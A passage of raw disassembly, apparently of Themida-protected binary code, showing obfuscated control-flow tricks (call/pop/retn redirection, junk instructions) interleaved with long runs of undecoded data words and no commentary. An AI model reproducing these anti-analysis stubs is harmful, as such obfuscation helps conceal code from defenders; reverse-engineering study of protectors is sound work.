716Dh push ecx jle loc_58C108 xor edx, 0FC1494Fh loc_58C108: ; CODE XREF: sub_58C0CF+2Dj pop edi xor eax, eax movsx edi, si loc_58C10E: ; CODE XREF: sub_58C0CF+89j push dword ptr [eax+ecx] movzx ebx, bx pop esi jmp loc_58C11F ; --------------------------------------------------------------------------- dw 6634h db 8Fh, 63h, 8Dh ; --------------------------------------------------------------------------- loc_58C11F: ; CODE XREF: sub_58C0CF+46j xor esi, 7BD6C6ABh cld add esi, 67D91E44h push ecx mov bl, 28h pop edx xor esi, 7CC79C19h movzx ebx, bx mov [ecx+eax], esi xor ebx, 2D0ACA9Bh pusha mov dh, ah popa sub eax, 1 mov edx, 7C1CC38h dec eax dec eax dec eax stc cmp eax, 0FFFF8F40h jnz loc_58C10E jb loc_58C16E jb loc_58C16E mov bx, 0B21Ch loc_58C16E: ; CODE XREF: sub_58C0CF+8Fj ; sub_58C0CF+95j pusha mov [ebp+6A806A1h], ebx jmp loc_58C18A ; --------------------------------------------------------------------------- dw 4925h dd 21397359h, 6A9529A5h, 0AD29B4Ch db 58h, 0EEh ; --------------------------------------------------------------------------- loc_58C18A: ; CODE XREF: sub_58C0CF+A6j mov eax, eax mov ecx, [ebp+6A83479h] cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_58C1A4 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_58C1BD loc_58C1A4: ; CODE XREF: sub_58C0CF+CAj push eax push ebx mov eax, eax mov eax, 438h mov [ebp+6A807B5h], eax lea ebx, [ebp+6AAA1ACh] call ebx pop ebx pop eax loc_58C1BD: ; CODE XREF: sub_58C0CF+D3j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_58C1DD push eax push ebx mov eax, 438h mov [ebp+6A807B5h], eax lea ebx, [ebp+6AA9E9Bh] call ebx pop ebx pop eax loc_58C1DD: ; CODE XREF: sub_58C0CF+F5j pusha xor edi, [ebp+6A81B75h] sbb dh, 8Fh popa mov eax, eax push 0 push ebp call sub_58C1F5 and [ebp-3Dh], bl sub_58C0CF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58C1F5 proc near ; CODE XREF: sub_58C0CF+11Ep arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_58C1F5 endp ; --------------------------------------------------------------------------- sbb ebx, esi dec edi jno short loc_58C26C call sub_58CA50 mov [ebp+6A82A8Dh], eax and esi, [ebp+6A82CD5h] call sub_58CA50 push 0 push ebp call sub_58C22B and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C22B proc near ; CODE XREF: Themida_:0058C223p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_58C22B endp ; --------------------------------------------------------------------------- cwde pusha inc ecx add edi, [edx+627AB98Bh] db 3Eh or si, 3ADBh add [ebp+6A81E05h], esi mov esi, [ebp+6A834C5h] mov [ebp+6A81DA9h], eax push 0 push edx call sub_58C267 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58C267 proc near ; CODE XREF: Themida_:0058C25Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx loc_58C26C: ; CODE XREF: Themida_:0058C208j add [esp-4+arg_4], 17h inc edx push edx retn sub_58C267 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4Ah dd 0E83DF5E7h, 7D0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0B9C35242h, 0DE2AB413h, 14E9B696h, 0B5000000h dd 0B469DADDh, 0AC9ACFB8h, 9DB80286h, 39EC4A46h, 8935C8B4h dd 0A8156185h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1504h, 0C3554500h, 8B661041h, 76AE8F9h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 27EAA9C3h, 0FEFA049Fh, 0E9E3AFD2h, 14h, 92D86E1h, 47CAA5F8h dd 0B36144B3h, 9FA3F2BEh, 0A64BD1E0h, 0E018589h, 6A06A8h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 0D73A3DC3h, 237C170Bh, 6840F93h, 9000000h, 0A830259Dh dd 6F2E806h, 0BE80000h, 97000000h, 0DAC40C1Eh, 8F5453AAh dd 8166D6E1h, 5F3CADDEh, 14A18589h, 6A06A8h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0E5B96CC3h dd 3B2F11D9h, 6AFE8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0F28B66E7h, 15358589h dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0B58B9EC3h, 6A80165h, 663E8h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 4DED302Fh, 6606F7ABh, 8589FA8Bh, 6A805FDh, 0E85EF857h dd 630h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 8C35646h, 0CEEB4732h, 12E9DCh, 0FE550000h, 0B41A749Bh dd 6C5C5793h, 37FF4D79h, 0FE1A8674h, 0D418589h, 6A06A8h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0B58BD1C3h, 6A8168Dh, 5CBE8h, 8D858900h, 6A06A829h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0C077C352h, 5A2E84Dh, 85890000h, 6A82071h dd 9FBBF5BFh, 0F1816679h, 8DE8B726h, 6A000005h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 86ABC351h, 2041FF47h, 0B1858969h, 6A06A801h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h dd 759AC352h, 0EFE31BA1h, 0E8274AA3h, 53Ch, 16FD8589h dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 0EA12E9C3h, 0A143AFB2h, 0B5891B59h, 6A817CDh dd 507E8h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1604h, 0C3524200h, 0BF8E2309h, 33474DADh, 21118589h dd 0BD8906A8h, 6A8093Dh, 4D3E8h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0EDB529ADh dd 5106A833h, 6820Fh, 85890000h, 6A81DA1h, 818D8B59h, 8906A81Eh dd 0A82A1185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1604h, 0C3534300h, 31A5B0F5h, 0A82CE185h dd 46EE806h, 85890000h, 6A80915h, 681B966h, 5DE8F88Bh dd 6A000004h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 22C3C357h, 8C800146h, 19FBCED0h dd 89C88B66h, 0A8350985h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 686EB86Dh dd 9DBD0358h, 0B006A826h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0D00504C0h dd 0D398761h, 0F0BF6626h, 68D0F6Ch, 89000000h, 0A81FE99Dh dd 0D8B60F06h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Bh, 56C35343h, 0D66171CCh, 66C13A4Fh, 89D6C781h, 6BAh dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 892BB765h, 0A80B55B5h, 0E8C38B06h, 14h dd 6AF5828Fh, 0AC61272Ch, 0FE4AE8B7h, 0AFA342A2h, 6296A28Ah dd 68E0Fh, 8D8B0000h, 6A82A81h, 6D9D295Eh, 0C106A81Bh dd 6A04E8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h dd 52420000h, 6010F8C3h, 1FD2CE49h, 7EDE8166h, 0F766F921h dd 2DB58BE2h, 2B06A82Eh, 68B0FD8h, 0F000000h, 88h, 14E95000h dd 4B000000h, 0C61C3944h, 732E6D9Ah, 0BA590E04h, 251AE799h dd 890AFEE2h, 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 4BC4ABC3h, 95D2DC6Bh, 34498D8Bh dd 95FF06A8h, 6A8068Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 56C35343h, 895BC97Fh, 0A82BADBDh, 0F1958D06h dd 6A06A80Bh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 8D74C357h, 3D5389E4h, 6005031Ah dd 18C0Fh, 89F50000h, 0A8153D95h, 1A896106h, 2601B58Bh dd 428906A8h, 12E804h, 82DD0000h, 0EC430C2Bh, 0B66B9560h dd 0B9727575h, 0C4FDA033h, 1EA58D03h, 8D5906A8h, 0A826C595h dd 0CFC98106h, 8B110316h, 0A806998Dh, 6A1A8906h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0C073C350h, 0EE969h, 7F4D0000h, 9CE95066h, 357670C1h dd 10699ECCh, 6320CF81h, 42895FB4h, 56006A04h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 880FFD81h dd 6, 2521B529h, 816606A8h, 8D88F3C6h, 0A8315995h, 0E98D8906h dd 8906A81Ah, 0F4E6811Ah, 8929D55Dh, 0BF0F0442h, 35BD8BF0h dd 8D06A809h, 0A8014995h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0A7904CB9h dd 0E5FBAAB2h, 8419501h, 1A8906A8h, 174D8D01h, 428906A8h dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 5C87CEE4h, 21958D7Ch, 6A06A800h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 60E8C356h, 0A56E9FF1h, 42891A89h, 51006A04h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 75C11BCFh dd 2F45958Dh, 89FC06A8h, 56006A1Ah, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 881F927Fh, 6A31BF9Fh dd 0B5899F80h, 6A81FD1h, 44289F5h, 0EAD8D03h, 958D06A8h dd 6A83005h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 84C35242h, 9DBFAA9Bh, 8B4C6793h, 0A8061D8Dh, 521A8906h dd 0B58B5FF9h, 6A83321h, 6A044289h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0CFA5C351h dd 0B8AFA1C1h, 0AB9958Dh, 6A06A8h, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 278D89C3h, 3DF6B966h dd 6A1A89h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h dd 53430000h, 1A1A5AC3h, 442895Ah, 8F5B503h, 8B6606A8h dd 0F3E9FEh, 0B5890000h, 6A83375h ; =============== S U B R O U T I N E ======================================= sub_58CA50 proc near ; CODE XREF: Themida_:0058C20Ap ; Themida_:0058C21Bp push 0 or [ebp+6A817E9h], eax push 0 push 0 push esi call sub_58CA65 and [esi-3Dh], bl sub_58CA50 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_58CA65 proc near ; CODE XREF: sub_58CA50+Dp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_58CA65 endp ; --------------------------------------------------------------------------- sub eax, 2A806F81h xchg eax, edx fmul qword ptr [ebx+43h] and ecx, [ebp+6A81B49h] sub [ebp+6A829C9h], edi push 0 push 0 push edx call sub_58CA97 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58CA97 proc near ; CODE XREF: Themida_:0058CA8Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_58CA97 endp ; --------------------------------------------------------------------------- db 98h dd 58EE4AF8h, 63A239D2h, 0A9B58BB6h, 6A06A825h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 84E23BFFh, 858E5A49h, 12E802B3h, 0D1000000h, 0FEDFD28Eh dd 100B82FDh, 72FFA27Dh, 2CC5DECBh, 0DE95FC8h, 50000000h dd 6C70374Bh, 0CBDAC72Dh, 38333106h, 3019BD01h, 95FF06A8h dd 6A80281h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 19C35040h, 7358529h, 9C306A8h, 0A82F9595h, 6AC58A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 12BFC353h, 66D81A10h, 8BC458BFh, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 20FB675h, 0D83A94A7h, 1711B589h, 0BD8306A8h, 6A81ED9h dd 83097500h, 0A82DE9BDh, 19740006h, 0C08B5350h, 438B8h dd 0D5858900h, 8D06A80Fh, 0AAA2139Dh, 5BD3FF06h, 0E9BD8358h dd 6A82Dh, 53501774h, 438B8h, 0D5858900h, 8D06A80Fh, 0AA9EB49Dh dd 5BD3FF06h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 5795BE8Ch, 58E0Fh, 95BF0000h, 5F4C5883h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0A4C35242h dd 95319026h, 1391B382h, 0CDBD892Ch, 8B06A80Fh, 85858DC0h dd 6A06A833h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0EB0BC357h, 50FB8B66h, 4891CB3h dd 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h dd 0C3514100h, 0CDBA35ACh, 0D4B823F3h, 2A98589h, 6A06A8h dd 30499531h, 6A06A8h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 4CC35343h, 0B9D2D8D5h, 0BF66AD53h, 0BD892B79h dd 6A82F31h, 345A858Dh, 6A06ACh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0C0837DC3h, 9D8B5705h dd 6A83129h, 0BE8505Fh, 6C000000h, 857680CBh, 9D4C14EBh dd 11E838B2h, 5A000000h, 52E613C3h, 5F9074F9h, 2D2635Eh dd 3253080Ch, 4895F5Bh, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0F50F3F9Bh, 0FF3E57D5h dd 95891DFEh, 6A82089h, 8A0F006Ah, 6, 93DB589h, 0FB8B06A8h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0B92D76C3h, 56740744h, 870F7015h, 5, 7BCB8166h dd 4195FF0Fh, 6A06A825h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1A042444h, 40000000h, 0CB0DC350h, 520F86A3h dd 0E3B66028h, 8E9h, 7FF55900h, 3220E41Eh, 5F52612Fh, 8C7F8D8Dh dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 0FA851C3h, 8Dh, 0E9D1FF00h, 7, 0AEBA7C40h dd 83997DF1h, 0A8339DBDh, 850F0106h, 67h, 0E855006Ah, 3 dd 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0FDC35545h, 0A735F3DFh dd 8B1D2181h, 999D29FBh, 6A06A82Bh, 15BD8B02h, 9006A800h dd 0E850D88Bh, 0Fh, 8F88AF31h, 755E19D5h, 1545DB8Dh, 0F3B962Dh dd 8Dh, 0F905F00h, 489h, 0A7BF6600h, 1D95FFD1h, 6606A81Eh dd 0E9F50DBFh, 0DAFh, 0E8h, 0ED815D00h, 6AC3464h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 3C35242h, 5394F2Bh dd 2AD19589h, 6A06A8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 190424h, 57470000h, 0B3407FC3h, 0E96CB3EFh, 0Fh, 86BA24FAh dd 83258570h, 722F926Fh, 8DAB889Bh, 0AB7E2E85h, 0D3816606h dd 5090161Ah, 6B6F8BBBh, 8E0F9038h, 2, 0FF645B50h, 35h dd 7E900h, 31700000h, 17CD1675h, 4648BBBEh, 89641584h dd 25h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1A04h, 0C3514100h, 7F6E99D3h, 0BFCEC791h, 5FF83F39h dd 92D38166h, 0F185FFC3h, 6A06A833h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0FB3FC352h dd 3652E578h, 0CA620EBFh, 4BDB8166h, 6AFF6A93h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0CB91C357h, 0A59EF037h, 11E9h, 0CA712700h, 0C772C3EBh dd 210AA99h, 89118BD2h, 0B5FFF8E6h, 6A82A8Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1CC35747h, 2408E7E7h dd 0C107C750h, 2A7D95FFh, 1DE906A8h, 0B0000001h, 8DBD8B00h dd 0F06A809h, 289h, 0E6D0B700h, 71E4FC70h, 0B6D9D8Bh, 613C06A8h dd 0FA830Fh, 8D890000h, 6A82CF9h, 0BAC8B60Fh, 6, 0CC98589h dd 0C18B06A8h, 0C799529h, 0C1F906A8h, 0BD8904E8h, 6A81C09h dd 3E2F766h, 0A81D499Dh, 41BD8B06h, 2B06A81Eh, 6D9D01C8h dd 8B06A809h, 0DAB70FD1h, 0E9h, 0F1858B00h, 6606A80Bh dd 0BD99CB81h, 254DBD09h, 0C08306A8h, 0D9BF0F07h, 5000C083h dd 0CBD8D29h, 0F5F06A8h, 0D03BD9B7h, 0B830Fh, 0B5290000h dd 6A831B9h, 7BE9h, 218D8B00h, 0F06A830h, 118Eh, 0E8F86000h dd 8, 0CAB5DA51h, 7E3D0FF7h, 0E1836158h, 55840F01h, 31000000h dd 0A81A4D85h, 21A58306h, 0FE06A830h, 13E9h, 0F076500h dd 0E07EF6CDh, 5CC606C6h, 88612B0Dh, 3B80E621h, 306D8509h dd 958906A8h, 6A80BF1h, 14E9h, 8176B400h, 67EEF362h, 7663E2A8h dd 0B158E376h, 7877B49Eh, 458D29A1h, 0E906A806h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+6ABBADDh] push 0 push edx call sub_58D105 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D105 proc near ; CODE XREF: Themida_:0058D0FDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_58D105 endp ; --------------------------------------------------------------------------- db 98h, 0ECh, 67h ; --------------------------------------------------------------------------- mov bl, 28h sbb al, 0A7h mov bx, 7684h push 0 push 0 push edx call sub_58D12E and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D12E proc near ; CODE XREF: Themida_:0058D126p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_58D12E endp ; --------------------------------------------------------------------------- dw 0F51h dd 0E2C96D77h, 0FF147D7Ah, 0A81B3195h, 55006A06h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 59D35ECFh, 0D8BF0F95h, 651B9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F9AD2C18h dd 1CEF6DDh, 0B70FBB78h, 0FCE183D9h, 68C5D7BFh, 0C7816622h dd 89FC8AF9h, 0A80D998Dh, 0B806h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 78A576C3h dd 473E6F9Fh, 0AE9h, 7CDFA000h, 7B0E762Bh, 2B1C55ABh, 51006AD2h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8BB7A4ACh, 0A81FED9Dh, 8E906h, 0BF210000h, 0A660983h dd 33AD5F94h, 3E8D1C2h, 4E983D0h, 9D8BF475h, 6A806D5h dd 89DF8B66h, 0A81E25B5h, 880D06h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0B9631BC3h dd 94F7B62h, 8B10C54Ah, 0A827499Dh, 0B9958B06h, 6A06A805h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 9D0DC357h, 90BE6149h, 698D8B39h, 0BB06A814h dd 0CAA4F23h, 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h dd 10E95818h, 7000000h, 5AC8A335h, 2600347h, 0FA95C02h dd 837321BFh, 0A80C91BDh, 840F0006h, 3Fh, 0B8D88B66h, 0 ; --------------------------------------------------------------------------- adc di, 0D84Bh lea ecx, [ebp+6A84FAFh] push 0 push ecx call sub_58D2EA and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58D2EA proc near ; CODE XREF: Themida_:0058D2E2p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58D2EA endp ; --------------------------------------------------------------------------- dw 0A918h dd 0E79B5FF3h, 89C7FBBCh, 0A806E19Dh, 83E1FF06h, 0A80BBDBDh dd 840F0006h, 46Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 84C35040h, 7F99A25Fh, 0BBDBD83h, 0F0106A8h dd 45C84h, 83DA8B00h, 0A80BBDBDh, 860F0306h, 417h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 29C35141h, 0DDDFC758h dd 0E860744Ch, 0Fh, 0E02B42Bh, 43EB4A0Fh, 97990A3Dh, 669450FBh dd 3869F381h, 0D98C665Fh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 67C35545h, 880C8204h, 0E1807462h, 0F9BF0F04h dd 840FC90Ah, 136h, 858BDA8Bh, 6A80BE1h, 15B99D8Bh, 853306A8h dd 6A81D5Dh, 0D690F781h, 8B0F4561h, 6, 2F1DBD8Bh, 509006A8h dd 0E2B86052h, 8B49F267h, 310F61F8h, 310F5250h, 0CE8h dd 49183C00h, 1CAEBF96h, 67E2844Dh, 585A5FACh, 0F50585Ah dd 0C84h, 7E900h, 9A430000h, 4986C5B8h, 0C7819064h, 242F7133h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h dd 51410000h, 8EDC67C3h, 6628BD37h, 0BD29FB3Bh, 6A820D9h dd 4E8h, 1F03FF00h, 50FB8B00h, 98CA7EBFh, 24448B52h, 60525004h dd 0BB666160h, 0F616072h, 0BB525031h, 2AEC2F37h, 585A310Fh dd 8B585Ah, 800Fh, 44890000h, 0FB8B0424h, 299D8B58h, 0FF06A831h dd 0A8074195h, 0DF816606h, 89604912h, 0A81F1995h, 8961F906h dd 0ABA22785h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 0E7EC1869h, 14E9F8F7h dd 6A000002h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 0B237C350h, 858B319Ah, 6ABA21Fh dd 2E459D33h, 0C706A8h, 18h, 7E8h, 63952800h, 34373F53h dd 69C7BF5Fh, 0B58B4751h, 6ABA223h, 10E9h, 74792500h, 5CD6C10h dd 0B35FDB0Fh, 0ECBB9ADCh, 7D858B98h, 8B06A82Bh, 6A0689D8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 9A50C352h, 0E1858BF8h, 0E906A80Bh, 13h, 350E6854h dd 23E5EBD4h, 3E478F0Ah, 6005D4EFh, 896E1634h, 0A80A95B5h dd 4468906h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Bh, 0EAC35747h, 0B6AFBF1Dh, 0E9F73941h, 11h, 9B350F7Fh dd 0B004CD05h, 60EA781Ah, 0B975A2E3h, 0C38166BCh, 0B79610C1h dd 8B665073h, 6A96D8h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0B58981C3h, 6A8163Dh, 0A21FB5FFh dd 0BB6606ABh, 9D8B6965h, 6A827B5h, 74A92A68h, 800F6035h dd 12h, 0CE8h, 0EFBBBB00h, 0F0F7C5CBh, 0B4255CDEh, 5AB55954h dd 24348161h, 356BAAD5h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0E1C35242h, 1EE205EEh, 0E8AA5091h, 10h dd 6292881Ch, 33D49D66h, 17E15EEDh, 0F5D794C2h, 8D5FF88Ah dd 0ABA22785h, 1DBD3106h, 9006A815h, 6E8h, 3AB21700h, 60D092D6h dd 0DE8h, 0B5C15B00h, 5BEF0B0Fh, 819EF48Eh, 605E49FAh dd 505F6161h, 0DE9h, 0C8302400h, 0E699DB41h, 3FFAA7C8h dd 6A903294h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0EE6FC352h, 0ADA3482Bh, 95FFFB8Bh dd 6A80741h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 0C3C35141h, 61C2F452h, 342DBD09h, 85C706A8h, 6A80BBDh dd 3, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h dd 0FBC35040h, 0B3802EE8h, 82CBFAFh, 9D0909CBh, 6A82D0Dh dd 0A227BD83h, 0F0006ABh, 3284h, 0F88B6600h, 1E9BD8Bh dd 3FE906A8h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 942EC350h, 9B50993h dd 5006A81Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 180424h, 55450000h, 64E492C3h, 0BD2938D4h, 6A8009Dh dd 0BBDBD83h, 0F0306A8h, 3FA85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 81C77A8Ch dd 5354F1DFh, 19D2967h, 8906A803h, 0A813ED95h, 27BD8306h dd 6ABA2h, 3BD840Fh, 0F7800000h, 27B5FFBFh, 6A06ABA2h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 5115C352h, 4982DBF4h, 4273CC18h, 0E39B509h dd 95FF06A8h, 6A815F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 16h, 0CC35343h, 9D8B49E8h, 6A80FF9h, 1E0DBD8Bh dd 0B58B06A8h, 6ABA21Bh, 1A3EBF66h, 614808BFh, 106C724h dd 6A000100h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 4472C356h, 0BEC72C6h, 0A807459Dh dd 66579606h, 5B7DA5BFh, 0FE950h, 12430000h, 8A1DD76Ch dd 0BC3A0088h, 8BF5CDDCh, 0B5FF96C2h, 6ABA227h, 6AAABB66h dd 219995FFh, 0BD8906A8h, 6A81D45h, 0A21BB58Bh, 0BD2906ABh dd 6A82E4Dh, 0E41858Bh, 8B5306A8h, 0A819E1BDh, 86895F06h dd 0C4h, 2B59B509h, 958B06A8h, 6A805B9h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Dh, 82C35747h, 0C2CC99Fh dd 8E38EF12h, 9BD8BBBh, 8306A831h, 0B2BF04C2h, 8975F238h dd 95292050h, 6A82EE9h, 0B7CE858Dh, 6A06ABh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E4EE1EC3h dd 3A5C45F0h, 66994CD0h, 8689FA8Bh, 0B8h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 98C35646h, 6A29D882h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0FAB58A08h, 3ED50225h, 0E8F88A6Dh, 0Fh dd 16454264h, 6600049Dh, 65752683h, 8B53321Ch, 0B5FF5BD8h dd 6ABA227h, 141D9D03h, 95FF06A8h, 6A81E1Dh, 65D4E381h dd 50966351h, 6A96D98Bh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 53F1C352h, 0E96C33A5h dd 9, 0F16D6FA4h, 0FA428362h, 27B5FF8Ch, 6A06ABA2h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0BA4CC353h, 0CA17B91Eh, 5FD0C351h, 0EE9h, 0B7A1F900h dd 20E5D647h, 0AF54332Dh, 0FF11BB35h, 0A82A6995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 1870F64h, 0F8000000h, 2E3DBD83h, 0F0006A8h, 3E84h, 0ADBD8B00h dd 9606A82Ch, 0E9525050h, 8, 4160984Bh, 0B98BBA03h, 0DA8B310Fh dd 6A96585Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 